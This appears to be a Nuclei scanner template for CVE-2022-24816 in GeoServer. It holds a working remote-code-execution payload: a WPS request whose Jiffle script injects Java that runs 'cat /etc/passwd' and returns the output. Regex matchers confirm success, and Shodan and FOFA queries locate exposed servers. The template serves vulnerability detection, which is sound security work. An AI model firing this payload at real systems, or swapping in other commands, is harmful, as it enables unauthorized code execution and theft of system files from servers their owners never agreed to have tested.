id: CVE-2022-24816

info:
  name: Geoserver Server - Code Injection
  author: mukundbhuva
  severity: critical
  description: |
    Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22.
  reference:
    - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
    - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
    - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24816
    cwe-id: CWE-94
  metadata:
    fofa-query: app="GeoServer"
    shodan-query: /geoserver/
    verified: "true"
  tags: cve,cve2022,geoserver,rce

requests:
  - raw:
      - |
        POST /geoserver/wms HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
          <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
            <ows:Identifier>ras:Jiffle</ows:Identifier>
            <wps:DataInputs>
              <wps:Input>
                <ows:Identifier>coverage</ows:Identifier>
                <wps:Data>
                  <wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>
                </wps:Data>
              </wps:Input>
              <wps:Input>
                <ows:Identifier>script</ows:Identifier>
                <wps:Data>
                  <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
                </wps:Data>
              </wps:Input>
              <wps:Input>
                <ows:Identifier>outputType</ows:Identifier>
                <wps:Data>
                  <wps:LiteralData>DOUBLE</wps:LiteralData>
                </wps:Data>
              </wps:Input>
            </wps:DataInputs>
            <wps:ResponseForm>
              <wps:RawDataOutput mimeType="image/tiff">
                <ows:Identifier>result</ows:Identifier>
              </wps:RawDataOutput>
            </wps:ResponseForm>
          </wps:Execute>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "ExceptionInInitializerError"
        condition: and

      - type: status
        status:
          - 200